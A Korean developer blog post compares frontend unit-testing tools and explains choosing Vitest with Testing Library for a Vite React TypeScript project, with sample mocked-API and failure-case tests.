<p>처음에는 이 방식이 제일 빠르게 느껴집니다.
눈으로 바로 확인할 수 있고, 문제가 있으면 바로 고치면 되니까요.</p>
<p>그런데 기능이 많아지고 화면이 늘어나면서 슬슬 이런 생각이 들기 시작했습니다.</p>
<p>“이거 수정했는데 다른 화면은 안 깨졌을까?”
“버튼 클릭했을 때 API 호출이 제대로 나가고 있을까?”
“실패 상황에서도 화면이 멈추지는 않을까?”
“매번 직접 다 눌러보는 게 맞을까?”</p>
<p>처음에는 제가 사람이 테스트 로봇이 된 줄 알았습니다.
수정하고, 실행하고, 클릭하고, 검색하고, 다시 수정하고, 또 클릭하고.</p>
<p>버튼 하나 고쳤을 뿐인데 확인해야 할 화면이 줄줄이 따라오는 순간, 머릿속에 자연스럽게 한 문장이 떠올랐습니다.</p>
<p>“네...? 이걸 다 수동 테스트하라구요...? 제가요...?”</p>
<p>그래서 이번에는 프론트엔드 단위 테스트 코드를 작성하면서, 어떤 테스트 도구를 사용할지 먼저 비교해보고 프로젝트에 맞는 도구를 선택해보았습니다.</p>
<hr>
<h2 id="프론트엔드-단위-테스트-도구에는-어떤-것들이-있을까">프론트엔드 단위 테스트 도구에는 어떤 것들이 있을까?</h2>
<p>프론트엔드에서 단위 테스트를 작성할 때 자주 언급되는 도구는 크게 다음과 같습니다.</p>
<pre><code class="language-txt">- Jest
- Vitest
- Mocha
- Jasmine
- Testing Library</code></pre>
<p>여기서 Jest, Vitest, Mocha, Jasmine은 테스트를 실행하고 검증하는 테스트 프레임워크에 가깝습니다.</p>
<p>반면 Testing Library는 테스트 실행 프레임워크라기보다는, React 컴포넌트를 사용자 관점에서 테스트할 수 있도록 도와주는 라이브러리에 가깝습니다.</p>
<p>즉, 역할을 나누면 이렇게 볼 수 있습니다.</p>
<pre><code class="language-txt">테스트 실행/검증 도구:
Jest, Vitest, Mocha, Jasmine

화면 테스트 보조 도구:
Testing Library</code></pre>
<p>테스트 도구를 고를 때는 단순히 “유명한가?”보다 현재 프로젝트 환경과 잘 맞는지를 기준으로 보는 것이 중요하다고 느꼈습니다.</p>
<hr>
<h3 id="jest">Jest</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/18fb99a5-ca89-4ce0-b416-a5523ba76670/image.png" alt=""></p>
<p>Jest는 프론트엔드 테스트에서 가장 많이 알려진 테스트 프레임워크 중 하나입니다.</p>
<p>React 프로젝트에서도 오래전부터 많이 사용되었고, 자료가 많고 안정적인 편입니다.</p>
<p>Jest는 테스트 실행, 단언문, Mock 기능, 스냅샷 테스트 등을 한 번에 제공합니다.</p>
<pre><code class="language-ts">describe(&#39;계산 함수 테스트&#39;, () =&gt; {
  it(&#39;두 숫자를 더한다&#39;, () =&gt; {
    expect(1 + 2).toBe(3);
  });
});</code></pre>
<p>Jest의 가장 큰 장점은 레퍼런스가 많다는 점입니다.</p>
<p>이미 많은 프로젝트에서 사용되고 있기 때문에 문제가 생겼을 때 검색으로 해결하기 좋고, 여러 환경에서 검증된 도구라는 안정감이 있습니다.</p>
<p>다만 Vite 기반 프로젝트에서는 설정이 다소 번거로울 수 있다고 느꼈습니다.
TypeScript, TSX, alias 설정 등을 맞추다 보면 추가 설정이 필요할 수 있기 때문입니다.</p>
<p>Jest는 이런 경우에 잘 맞는다고 생각했습니다.</p>
<pre><code class="language-txt">- 기존 프로젝트에서 이미 Jest를 사용하고 있는 경우
- 레퍼런스가 많은 도구를 선호하는 경우
- 안정적으로 검증된 테스트 환경이 필요한 경우
- Vite가 아닌 기존 React 환경에서 테스트를 구성하는 경우</code></pre>
<hr>
<h3 id="vitest">Vitest</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/53759eeb-7167-4e2c-b702-f88e22da6357/image.png" alt=""></p>
<p>Vitest는 Vite 생태계에 맞춰 만들어진 테스트 프레임워크입니다.</p>
<p>Vite 기반 프로젝트에서는 설정 흐름이 자연스럽고, TypeScript와 TSX 테스트도 비교적 편하게 작성할 수 있습니다.</p>
<p>문법도 Jest와 매우 비슷합니다.</p>
<pre><code class="language-ts">describe(&#39;계산 함수 테스트&#39;, () =&gt; {
  it(&#39;두 숫자를 더한다&#39;, () =&gt; {
    expect(1 + 2).toBe(3);
  });
});</code></pre>
<p>Mock도 <code>vi.fn()</code>, <code>vi.mock()</code> 형태로 사용할 수 있습니다.</p>
<pre><code class="language-ts">const mockFetchList = vi.fn();

vi.mock(&#39;@/api/sampleApi&#39;, () =&gt; ({
  fetchList: mockFetchList,
}));</code></pre>
<p>Vitest의 가장 큰 장점은 Vite 프로젝트와 잘 맞는다는 점입니다.</p>
<p>Vite 설정, TypeScript, path alias, 빠른 실행 속도 면에서 장점이 있고, Jest와 문법이 비슷해서 테스트 코드를 처음 작성할 때도 진입 장벽이 낮았습니다.</p>
<p>제가 느낀 Vitest의 장점은 다음과 같습니다.</p>
<pre><code class="language-txt">- Vite 프로젝트와 설정이 잘 맞는다
- TypeScript/TSX 테스트 작성이 편하다
- Jest와 문법이 비슷해서 익히기 쉽다
- 실행 속도가 빠른 편이다
- Mock 기능을 사용하기 쉽다</code></pre>
<p>그래서 Vite + React + TypeScript 기반 프로젝트라면 Jest보다 Vitest가 더 자연스럽다고 판단했습니다.</p>
<hr>
<h3 id="mocha">Mocha</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/6c33fedb-75b6-4903-a3fb-ddeaa0c912e0/image.png" alt=""></p>
<p>Mocha는 오래된 JavaScript 테스트 프레임워크 중 하나입니다.</p>
<p>Jest나 Vitest처럼 필요한 기능이 한 번에 포함되어 있다기보다는, 필요한 라이브러리를 조합해서 사용하는 방식에 가깝습니다.</p>
<p>예를 들어 단언문은 Chai, Mock이나 Spy는 Sinon을 함께 사용하는 경우가 많습니다.</p>
<p>Mocha는 유연성이 높다는 장점이 있습니다.</p>
<p>하지만 처음 테스트 환경을 구성하는 입장에서는 직접 조합해야 할 것이 많아서 조금 복잡하게 느껴질 수 있습니다.</p>
<p>Mocha는 이런 경우에 어울린다고 생각했습니다.</p>
<pre><code class="language-txt">- 테스트 환경을 직접 세밀하게 구성하고 싶은 경우
- 특정 assertion/mock 라이브러리를 조합해서 쓰고 싶은 경우
- 기존 프로젝트에서 이미 Mocha 기반 테스트 환경을 사용하고 있는 경우</code></pre>
<p>저는 이번 프로젝트에서는 빠르게 단위 테스트 환경을 구성하고 싶었기 때문에 Mocha보다는 Vitest가 더 적합하다고 판단했습니다.</p>
<hr>
<h3 id="jasmine">Jasmine</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/ac69276b-a06a-4f2d-a934-5ba75edbf742/image.png" alt=""></p>
<p>Jasmine은 오래된 JavaScript 테스트 프레임워크입니다.</p>
<p>Jest와 비슷하게 <code>describe</code>, <code>it</code>, <code>expect</code> 같은 구조를 사용합니다.</p>
<pre><code class="language-ts">describe(&#39;계산 함수 테스트&#39;, () =&gt; {
  it(&#39;두 숫자를 더한다&#39;, () =&gt; {
    expect(1 + 2).toBe(3);
  });
});</code></pre>
<p>Jasmine은 자체적으로 assertion, spy 기능을 제공하는 편이라 별도 라이브러리 없이도 테스트를 작성할 수 있습니다.</p>
<p>다만 최근 React + Vite 기반 프론트엔드 프로젝트에서는 Jest나 Vitest에 비해 선택 빈도가 낮다고 느꼈습니다.</p>
<p>기존 Angular 프로젝트나 오래된 테스트 환경에서는 볼 수 있지만, 새로 구성하는 React 프로젝트라면 Vitest나 Jest를 먼저 고려하는 것이 더 자연스럽다고 생각했습니다.</p>
<hr>
<h3 id="testing-library">Testing Library</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8dee1d21-f996-43a5-b82b-5f7222f7c636/image.png" alt=""></p>
<p>Testing Library는 테스트 프레임워크라기보다는 React 컴포넌트를 테스트하기 위한 도구입니다.</p>
<p>Vitest나 Jest와 함께 사용합니다.</p>
<p>예를 들어 Vitest가 테스트를 실행하고 <code>expect</code>로 결과를 검증한다면, Testing Library는 컴포넌트를 렌더링하고 화면 요소를 찾고 사용자 동작을 재현하는 역할을 합니다.</p>
<pre><code class="language-ts">render(&lt;SampleButton onClick={handleClick} /&gt;);

fireEvent.click(screen.getByText(&#39;저장&#39;));

expect(handleClick).toHaveBeenCalled();</code></pre>
<p>Testing Library의 핵심은 사용자 관점의 테스트입니다.</p>
<p>내부 함수명이나 컴포넌트의 구현 방식보다, 실제 화면에 보이는 텍스트, 버튼, 입력창을 기준으로 테스트합니다.</p>
<p>예를 들어 “저장 버튼을 클릭하면 저장 요청이 호출된다”처럼 작성할 수 있습니다.</p>
<p>이 방식이 좋은 이유는 내부 구현이 조금 바뀌어도 사용자가 보는 화면과 동작이 같다면 테스트가 크게 흔들리지 않기 때문입니다.</p>
<hr>
<h2 id="도구별-특징-정리">도구별 특징 정리</h2>
<p>각 도구의 특징을 간단히 정리하면 다음과 같습니다.</p>
<table>
<thead>
<tr>
<th>도구</th>
<th>역할</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td>Jest</td>
<td>테스트 프레임워크</td>
<td>자료가 많고 안정적이며 React 테스트에서 오래 사용됨</td>
</tr>
<tr>
<td>Vitest</td>
<td>테스트 프레임워크</td>
<td>Vite 기반 프로젝트와 잘 맞고 빠르며 Jest와 문법이 비슷함</td>
</tr>
<tr>
<td>Mocha</td>
<td>테스트 프레임워크</td>
<td>유연하지만 필요한 도구를 직접 조합하는 경우가 많음</td>
</tr>
<tr>
<td>Jasmine</td>
<td>테스트 프레임워크</td>
<td>자체 assertion과 spy 기능이 있지만 최근 React 프로젝트에서는 상대적으로 덜 사용됨</td>
</tr>
<tr>
<td>Testing Library</td>
<td>컴포넌트 테스트 도구</td>
<td>사용자 관점으로 React 컴포넌트를 테스트하기 좋음</td>
</tr>
</tbody></table>
<p>제가 이해한 기준으로는 이렇게 정리할 수 있었습니다.</p>
<pre><code class="language-txt">Vite + React + TypeScript 신규 프로젝트
→ Vitest + Testing Library 조합이 자연스러움

기존 React 프로젝트 또는 레퍼런스 많은 환경
→ Jest + Testing Library 조합이 안정적

테스트 환경을 직접 조합하고 싶은 경우
→ Mocha + Chai + Sinon 조합 가능

기존 Angular 또는 오래된 JS 테스트 환경
→ Jasmine을 사용하는 경우도 있음</code></pre>
<hr>
<h3 id="그래서-저는-왜-vitest를-선택했나">그래서 저는 왜 Vitest를 선택했나</h3>
<p>제가 Vitest를 선택한 가장 큰 이유는 프로젝트 환경 때문입니다.</p>
<p>현재 프로젝트가 Vite + React + TypeScript 기반이었기 때문에, 같은 생태계에 있는 Vitest가 가장 자연스럽다고 판단했습니다.</p>
<p>Jest도 충분히 좋은 도구이지만, Vite 프로젝트에서 Jest를 사용하려면 추가 설정을 맞춰야 할 수 있습니다.</p>
<p>반면 Vitest는 Vite 설정과 잘 맞고, TypeScript/TSX 테스트 작성도 비교적 수월했습니다.</p>
<p>또한 Jest와 문법이 비슷해서 테스트 코드 작성 방식이 낯설지 않았습니다.</p>
<pre><code class="language-ts">describe(&#39;목록 페이지&#39;, () =&gt; {
  it(&#39;진입 시 목록을 조회한다&#39;, async () =&gt; {
    render(&lt;SampleListPage /&gt;);

    await waitFor(() =&gt; {
      expect(mockFetchList).toHaveBeenCalled();
    });
  });
});</code></pre>
<p>즉, 제가 Vitest를 선택한 기준은 다음과 같습니다.</p>
<pre><code class="language-txt">1. 프로젝트가 Vite 기반이었다
2. React + TypeScript 테스트를 작성해야 했다
3. Jest와 비슷한 문법이라 학습 부담이 적었다
4. 실행 속도가 빠른 편이라 반복 테스트에 적합했다
5. Mock을 사용해 API와 외부 의존성을 분리하기 쉬웠다</code></pre>
<p>테스트 도구를 고르는 과정에서 가장 크게 느낀 점은 “좋은 도구”보다 “현재 프로젝트에 덜 어색한 도구”가 중요하다는 점이었습니다.</p>
<p>아무리 유명한 도구라도 프로젝트 설정과 계속 충돌하면 테스트 코드를 작성하기 전에 설정에서 지칠 수 있기 때문입니다.</p>
<hr>
<h3 id="화면-테스트에는-왜-testing-library를-같이-사용했나">화면 테스트에는 왜 Testing Library를 같이 사용했나</h3>
<p>Vitest만으로도 함수 단위 테스트는 작성할 수 있습니다.</p>
<p>하지만 React 컴포넌트나 페이지를 테스트하려면 화면을 렌더링하고, 버튼 클릭이나 입력 같은 사용자 동작을 재현해야 합니다.</p>
<p>그래서 <code>@testing-library/react</code>를 함께 사용했습니다.</p>
<pre><code class="language-ts">render(&lt;SampleListPage /&gt;);

fireEvent.change(screen.getByPlaceholderText(&#39;검색어를 입력하세요&#39;), {
  target: { value: &#39;검색어&#39; },
});</code></pre>
<p>Testing Library를 사용하면 테스트를 실제 사용자 흐름에 가깝게 작성할 수 있습니다.</p>
<p>예를 들어 다음과 같은 테스트가 가능합니다.</p>
<pre><code class="language-txt">- 화면에 특정 문구가 보이는지
- 버튼을 클릭했을 때 함수가 호출되는지
- 입력창에 값을 입력했을 때 검색 요청이 발생하는지
- 상태 변경 스위치를 눌렀을 때 API가 호출되는지
- API 실패 시에도 화면 흐름이 유지되는지</code></pre>
<p>저는 단순히 내부 함수가 호출됐는지만 보는 테스트보다, 사용자가 실제로 화면에서 하는 행동을 기준으로 테스트하는 방식이 더 적합하다고 느꼈습니다.</p>
<hr>
<h3 id="제가-작성한-테스트-코드-구조">제가 작성한 테스트 코드 구조</h3>
<p>테스트 파일은 실제 기능 구조와 비슷하게 나눴습니다.</p>
<p>회사 내부 구조가 드러나지 않도록 예시로 표현하면 다음과 같습니다.</p>
<pre><code class="language-txt">tests/
└─ unit/
   ├─ pages/
   │  └─ 화면 단위 테스트
   ├─ components/
   │  └─ 공통 컴포넌트 테스트
   ├─ utils/
   │  └─ 유틸 함수 테스트
   └─ modules/
      └─ 주요 로직 테스트</code></pre>
<p>이렇게 나누면 테스트 파일을 찾기 쉽습니다.</p>
<p>페이지 관련 테스트는 <code>pages</code>,
공통 컴포넌트 테스트는 <code>components</code>,
순수 함수 테스트는 <code>utils</code>,
특정 기능 로직 테스트는 <code>modules</code>처럼 구분할 수 있습니다.</p>
<p>테스트 파일 위치가 정리되어 있으면 나중에 기능을 수정할 때 관련 테스트를 함께 찾기 편했습니다.</p>
<hr>
<h3 id="테스트-파일-위쪽에는-설명을-적었습니다">테스트 파일 위쪽에는 설명을 적었습니다</h3>
<p>각 테스트 파일 위에는 이 테스트가 무엇을 검증하는지 간단히 적었습니다.</p>
<pre><code class="language-ts">/**
 * 테스트 대상
 *
 * 검증 항목:
 * 1. 최초 진입 시 목록을 조회한다
 * 2. 검색 기능이 동작한다
 * 3. 상태 변경 요청을 호출한다
 * 4. 실패 상황에서도 목록을 다시 조회한다
 */</code></pre>
<p>이 설명은 테스트 코드의 목차 역할을 합니다.</p>
<p>테스트 코드가 많아지면 어떤 테스트가 어떤 기능을 보장하는지 한눈에 보기 어려워집니다.</p>
<p>그래서 상단에 검증 항목을 적어두면, 나중에 테스트를 추가하거나 수정할 때 기준을 잡기 쉬웠습니다.</p>
<p>테스트 코드가 단순히 실행되는 코드가 아니라, 해당 기능이 어떤 동작을 보장해야 하는지 보여주는 문서처럼 느껴졌습니다.</p>
<hr>
<h3 id="기본-테스트-구조">기본 테스트 구조</h3>
<p>제가 작성한 테스트는 대체로 다음 구조를 사용했습니다.</p>
<pre><code class="language-ts">describe(&#39;목록 관리 페이지&#39;, () =&gt; {
  beforeEach(() =&gt; {
    vi.clearAllMocks();
  });

  it(&#39;진입 시 목록을 조회한다&#39;, async () =&gt; {
    render(&lt;SampleListPage /&gt;);

    await waitFor(() =&gt; {
      expect(mockFetchList).toHaveBeenCalled();
    });
  });
});</code></pre>
<p>각 코드의 역할은 다음과 같습니다.</p>
<table>
<thead>
<tr>
<th>코드</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><code>describe</code></td>
<td>관련 테스트를 하나의 그룹으로 묶습니다.</td>
</tr>
<tr>
<td><code>it</code></td>
<td>하나의 동작이나 요구사항을 검증합니다.</td>
</tr>
<tr>
<td><code>beforeEach</code></td>
<td>각 테스트 실행 전 Mock 상태를 초기화합니다.</td>
</tr>
<tr>
<td><code>vi.clearAllMocks()</code></td>
<td>이전 테스트의 Mock 호출 기록을 초기화합니다.</td>
</tr>
<tr>
<td><code>render</code></td>
<td>React 컴포넌트를 테스트 환경에 렌더링합니다.</td>
</tr>
<tr>
<td><code>fireEvent</code></td>
<td>클릭, 입력 같은 사용자 동작을 재현합니다.</td>
</tr>
<tr>
<td><code>waitFor</code></td>
<td>비동기 작업이 끝날 때까지 기다립니다.</td>
</tr>
<tr>
<td><code>expect</code></td>
<td>기대한 결과와 실제 결과를 비교합니다.</td>
</tr>
</tbody></table>
<p>이 구조를 반복해서 사용하니 테스트 파일의 형태가 어느 정도 통일됐습니다.</p>
<p>테스트마다 작성 방식이 다르면 읽기 어려운데, 구조를 맞춰두면 나중에 유지보수하기 훨씬 편했습니다.</p>
<hr>
<h3 id="api는-mock으로-처리했습니다">API는 Mock으로 처리했습니다</h3>
<p>테스트에서는 실제 API를 호출하지 않고 Mock으로 대체했습니다.</p>
<pre><code class="language-ts">const mockFetchList = vi.fn();
const mockUpdateStatus = vi.fn();

vi.mock(&#39;@/api/sampleApi&#39;, () =&gt; ({
  fetchList: mockFetchList,
  updateStatus: mockUpdateStatus,
}));</code></pre>
<p>이렇게 하면 외부 환경과 관계없이 원하는 상황을 만들 수 있습니다.</p>
<p>목록 조회 성공 상황은 이렇게 만들 수 있습니다.</p>
<pre><code class="language-ts">mockFetchList.mockResolvedValue([
  {
    id: 1,
    name: &#39;Sample Item&#39;,
    enabled: true,
  },
]);</code></pre>
<p>상태 변경 실패 상황은 이렇게 만들 수 있습니다.</p>
<pre><code class="language-ts">mockUpdateStatus.mockRejectedValue(new Error(&#39;실패&#39;));</code></pre>
<p>Mock을 사용한 이유는 실제 서버나 외부 환경에 의존하지 않고, 화면 로직만 독립적으로 검증하기 위해서입니다.</p>
<p>성공 응답, 실패 응답, 빈 목록, 특정 상태값 등 다양한 상황을 직접 만들 수 있기 때문에 테스트 흐름을 통제하기 좋았습니다.</p>
<hr>
<h2 id="오히려-에러-케이스가-더-중요하다고-느꼈습니다">오히려 에러 케이스가 더 중요하다고 느꼈습니다</h2>
<p>테스트 코드를 작성하면서 가장 신경 쓴 부분 중 하나는 실패 케이스였습니다.</p>
<p>처음에는 자연스럽게 성공 케이스부터 작성했습니다.</p>
<pre><code class="language-txt">- 페이지에 진입하면 목록이 조회되는지
- 검색어를 입력하면 조회 함수가 호출되는지
- 버튼을 클릭하면 상태 변경 API가 호출되는지
- 응답이 성공하면 화면 흐름이 유지되는지</code></pre>
<p>이런 테스트도 물론 중요합니다.</p>
<p>하지만 실제 서비스를 생각해보면 사용자가 문제를 겪는 순간은 대부분 성공 상황이 아니라 실패 상황입니다.</p>
<p>API 요청이 실패하거나, 서버 응답이 늦거나, 상태 변경이 정상 처리되지 않거나, 예상하지 못한 빈 데이터가 내려오는 경우가 있습니다.</p>
<p>개발할 때는 보통 정상 응답을 기준으로 화면을 확인하기 때문에, 실패 상황은 놓치기 쉽습니다.</p>
<p>성공 케이스는 개발자가 직접 확인하기 쉽습니다.
버튼을 누르고 “오 잘 된다” 하고 넘어갈 수 있습니다.</p>
<p>하지만 실패 케이스는 다릅니다.</p>
<p>서버를 일부러 실패시키기도 애매하고, 네트워크 오류를 매번 만들기도 어렵고, 특정 예외 응답을 재현하는 것도 번거롭습니다.</p>
<p>그래서 저는 성공 케이스보다 오히려 에러 케이스를 더 꼼꼼히 확인해야 한다고 느꼈습니다.</p>
<hr>
<h3 id="실패-케이스-테스트를-작성한-이유">실패 케이스 테스트를 작성한 이유</h3>
<p>실패 케이스 테스트의 목적은 단순히 오류를 발생시키는 것이 아닙니다.</p>
<p>중요한 건 오류가 발생했을 때 화면이 그대로 멈추거나, 잘못된 상태로 남지 않는지 확인하는 것입니다.</p>
<p>예를 들어 사용자가 상태 변경 버튼을 클릭했는데 API가 실패할 수 있습니다.</p>
<p>이때 화면이 이전 상태와 다르게 표시되거나, 목록이 갱신되지 않거나, 사용자가 현재 상태를 오해하게 되면 문제가 될 수 있습니다.</p>
<p>그래서 실패 상황에서는 다음 흐름을 확인했습니다.</p>
<pre><code class="language-txt">사용자가 버튼 클릭
→ 상태 변경 API 호출
→ API 실패
→ 오류 처리
→ 최신 목록 다시 조회
→ 화면 상태 복구</code></pre>
<p>즉, 실패했을 때도 화면이 다시 안정적인 상태로 돌아오는지를 검증했습니다.</p>
<hr>
<h3 id="실패-상황은-mock으로-직접-만들었습니다">실패 상황은 Mock으로 직접 만들었습니다</h3>
<p>실제 테스트에서는 API 실패 상황을 Mock으로 만들었습니다.</p>
<pre><code class="language-ts">mockUpdateStatus.mockRejectedValue(new Error(&#39;실패&#39;));</code></pre>
<p>이렇게 하면 실제 서버를 조작하지 않아도, 상태 변경 요청이 실패하는 상황을 테스트 안에서 만들 수 있습니다.</p>
<p>그리고 실패 이후 목록 조회가 다시 실행되는지 확인했습니다.</p>
<pre><code class="language-ts">it(&#39;상태 변경 실패 시 목록을 다시 조회한다&#39;, async () =&gt; {
  mockFetchList.mockResolvedValue([
    {
      id: 1,
      name: &#39;Sample Item&#39;,
      enabled: true,
    },
  ]);

  mockUpdateStatus.mockRejectedValue(new Error(&#39;실패&#39;));

  render(&lt;SampleListPage /&gt;);

  const toggle = await screen.findByRole(&#39;checkbox&#39;);

  fireEvent.click(toggle);

  await waitFor(() =&gt; {
    expect(mockFetchList).toHaveBeenCalledTimes(2);
  });
});</code></pre>
<p>여기서 <code>mockUpdateStatus</code>는 상태 변경 요청을 의미하고, <code>mockFetchList</code>는 목록 조회 요청을 의미합니다.</p>
<p>테스트의 핵심은 상태 변경 API가 실패했을 때도 목록 조회가 다시 실행되는지 확인하는 것입니다.</p>
<pre><code class="language-txt">최초 진입 시 목록 조회 1회
상태 변경 실패 후 목록 재조회 1회
총 2회 호출</code></pre>
<p>그래서 <code>mockFetchList</code>가 2번 호출되었는지 검증했습니다.</p>
<p>이 테스트는 “에러가 나면 안 된다”가 아니라, “에러가 나도 화면이 안전하게 버텨야 한다”에 가깝습니다.</p>
<hr>
<h3 id="에러-로그가-보여도-테스트가-통과할-수-있습니다">에러 로그가 보여도 테스트가 통과할 수 있습니다</h3>
<p>실패 케이스 테스트를 작성하면 테스트 실행 중 콘솔에 에러 로그가 보일 수 있습니다.</p>
<p>처음에는 이 로그를 보고 “테스트가 잘못된 건가?”라고 생각할 수 있습니다.</p>
<p>하지만 의도적으로 실패 상황을 만든 테스트라면, 에러 로그가 출력되는 것 자체는 이상한 일이 아닙니다.</p>
<p>중요한 건 에러가 발생한 뒤에 프로그램이 기대한 흐름대로 복구되는지입니다.</p>
<pre><code class="language-txt">에러가 발생한다
→ catch에서 처리된다
→ 필요한 후속 동작이 실행된다
→ 테스트가 통과한다</code></pre>
<p>즉, 실패 케이스 테스트에서는 “에러가 안 나는지”보다 “에러가 났을 때도 안전하게 처리되는지”를 확인했습니다.</p>
<p>이 부분이 테스트를 작성하면서 꽤 중요하게 느껴졌습니다.</p>
<p>사용자 입장에서는 내부적으로 어떤 에러가 났는지보다, 화면이 이상한 상태로 남지 않는지가 더 중요하기 때문입니다.</p>
<hr>
<h3 id="성공-케이스보다-실패-케이스가-더-값질-때도-있습니다">성공 케이스보다 실패 케이스가 더 값질 때도 있습니다</h3>
<p>성공 케이스는 개발 중에 직접 확인하기 쉽습니다.</p>
<p>화면을 열고 버튼을 눌러보면 정상 동작 여부를 어느 정도 확인할 수 있습니다.</p>
<p>하지만 실패 케이스는 매번 직접 확인하기 어렵습니다.</p>
<p>서버 오류를 일부러 만들기도 어렵고, 네트워크 실패나 예외 응답을 매번 재현하기도 번거롭습니다.</p>
<p>그래서 실패 상황일수록 테스트 코드로 만들어두는 것이 더 의미 있다고 느꼈습니다.</p>
<pre><code class="language-txt">성공 케이스:
직접 확인하기 비교적 쉬움

실패 케이스:
직접 재현하기 어렵고 놓치기 쉬움
그래서 테스트 코드로 고정해두는 가치가 큼</code></pre>
<p>특히 사용자가 직접 조작하는 기능에서는 실패 처리 테스트가 더 중요하다고 생각했습니다.</p>
<p>사용자 입장에서는 요청이 성공했는지 실패했는지보다, 실패했을 때 화면이 이상한 상태로 남지 않는지가 더 중요하기 때문입니다.</p>
<hr>
<h3 id="제가-실패-케이스에서-확인한-것들">제가 실패 케이스에서 확인한 것들</h3>
<p>실패 케이스에서는 단순히 API가 실패하는지만 보지 않았습니다.</p>
<p>실패 이후 화면이 안정적으로 유지되는지를 중심으로 확인했습니다.</p>
<pre><code class="language-txt">- API 실패 시 프로그램이 멈추지 않는지
- 실패 이후 필요한 후속 조회가 실행되는지
- 화면이 이전 상태와 불일치하지 않는지
- 사용자가 잘못된 상태로 오해하지 않도록 복구되는지
- catch 흐름이 실제로 동작하는지</code></pre>
<p>이런 테스트를 작성해두면 나중에 리팩토링을 하거나 API 호출 구조를 바꿀 때도 안정성을 확인할 수 있습니다.</p>
<p>실패 처리는 평소에는 잘 보이지 않지만, 실제 운영 환경에서는 중요하게 드러나는 부분이라고 느꼈습니다.</p>
<hr>
<h2 id="네-이걸-다-수동-테스트하라구요-제가요">네...? 이걸 다 수동 테스트하라구요..? 제가요?</h2>
<p>테스트 코드를 작성하면서 가장 크게 체감한 부분은 속도였습니다.</p>
<p>기능을 하나 수정할 때마다 확인해야 할 게 생각보다 많았습니다.</p>
<pre><code class="language-txt">화면 실행
→ 메뉴 이동
→ 목록 조회 확인
→ 검색어 입력
→ 버튼 클릭
→ 상태 변경 확인
→ 실패 상황 확인
→ 다른 케이스 반복</code></pre>
<p>처음에는 당연히 직접 눌러보면서 확인했습니다.</p>
<p>그런데 확인해야 할 화면과 케이스가 늘어나니까 어느 순간 이런 생각이 들었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/71fba097-40f4-4129-8bf5-fe2c7596ad0c/image.png" alt=""></p>
<pre><code class="language-txt">네...?
이걸 다 수동 테스트하라구요...?
제가요...?</code></pre>
<p>버튼 하나 수정했을 뿐인데, 혹시 다른 기능이 깨졌을까 봐 관련 화면을 다시 들어가 보고, 검색도 해보고, 상태 변경도 눌러보고, 실패 상황도 생각해야 했습니다.</p>
<p>이쯤 되면 개발을 하는 건지, 클릭 노동을 하는 건지 살짝 헷갈리기 시작합니다.</p>
<p>물론 수동 테스트도 필요합니다.
실제 화면에서만 느껴지는 UI 흐름이나 사용성은 직접 확인해야 합니다.</p>
<p>하지만 매번 같은 동작을 반복해서 확인하는 건 너무 비효율적이었습니다.</p>
<p>그래서 반복적으로 확인해야 하는 흐름은 테스트 코드로 옮겼습니다.</p>
<pre><code class="language-txt">수동 확인:
화면마다 직접 이동하고 클릭해야 함
시간이 오래 걸리고 누락 가능성이 있음

테스트 실행:
작성된 케이스를 한 번에 검증
약 50초 안에 주요 흐름 확인 가능</code></pre>
<p>제가 작성한 테스트 기준으로는 수기로 하나씩 확인하면 훨씬 오래 걸릴 작업들이, 테스트 실행으로는 약 50초 안에 끝났습니다.</p>
<p>이때 테스트 자동화가 왜 필요한지 가장 크게 체감했습니다.</p>
<p>테스트 코드를 작성하는 데 처음에는 시간이 들어갑니다.
하지만 한 번 작성해두면 같은 검증을 반복할 때마다 시간을 아낄 수 있습니다.</p>
<p>특히 공통 로직을 수정하거나 리팩토링을 할 때 좋았습니다.</p>
<p>예전 같으면 수정 후에 괜히 불안해서 화면을 하나씩 다시 눌러봤을 텐데, 테스트를 실행하면 최소한 작성해둔 주요 흐름은 빠르게 확인할 수 있었습니다.</p>
<pre><code class="language-txt">목록 조회가 여전히 되는지
검색 기능이 깨지지 않았는지
버튼 클릭 시 요청이 나가는지
실패 상황에서도 화면이 복구되는지</code></pre>
<p>이런 것들을 매번 손으로 확인하지 않아도 된다는 점이 생각보다 크게 느껴졌습니다.</p>
<p>결국 테스트 코드는 단순히 버그를 잡기 위한 코드라기보다, 반복 확인 작업을 줄여주는 자동 점검표처럼 느껴졌습니다.</p>
<p>수동으로 계속 누르다 보면 사람은 지치고, 지치면 놓칩니다.
하지만 테스트는 지치지 않고 같은 흐름을 계속 확인해줍니다.</p>
<p>그게 제가 테스트 코드를 작성하면서 가장 만족했던 부분이었습니다.</p>
<hr>
<h3 id="테스트-이름은-요구사항처럼-작성했습니다">테스트 이름은 요구사항처럼 작성했습니다</h3>
<p>테스트 이름은 가능하면 코드 설명이 아니라 요구사항처럼 작성하려고 했습니다.</p>
<pre><code class="language-ts">it(&#39;진입 시 목록을 조회한다&#39;, async () =&gt; {});
it(&#39;검색어를 입력하면 목록을 다시 조회한다&#39;, async () =&gt; {});
it(&#39;상태 변경 버튼을 클릭하면 변경 요청을 보낸다&#39;, async () =&gt; {});
it(&#39;상태 변경 실패 시 목록을 다시 조회한다&#39;, async () =&gt; {});</code></pre>
<p>이렇게 작성하면 테스트 목록만 봐도 해당 화면이 어떤 동작을 보장해야 하는지 알 수 있습니다.</p>
<p>테스트 코드가 단순 검증 코드가 아니라, 기능 명세서처럼 읽히는 느낌이 들었습니다.</p>
<hr>
<h2 id="제가-테스트를-작성하면서-세운-기준">제가 테스트를 작성하면서 세운 기준</h2>
<p>테스트 코드를 작성하면서 다음 기준을 지키려고 했습니다.</p>
<pre><code class="language-txt">1. 한 테스트에서는 하나의 동작만 검증하기
2. 내부 구현보다 사용자 행동 기준으로 작성하기
3. 실제 외부 환경에 의존하지 않기
4. 성공 케이스와 실패 케이스를 함께 보기
5. 특히 실패 케이스는 복구 흐름까지 확인하기
6. 테스트 이름만 봐도 의도를 알 수 있게 작성하기</code></pre>
<p>특히 “한 테스트에서 하나의 동작만 검증하기”가 중요했습니다.</p>
<p>하나의 테스트에 너무 많은 내용을 넣으면, 실패했을 때 어디서 문제가 발생했는지 찾기 어렵습니다.</p>
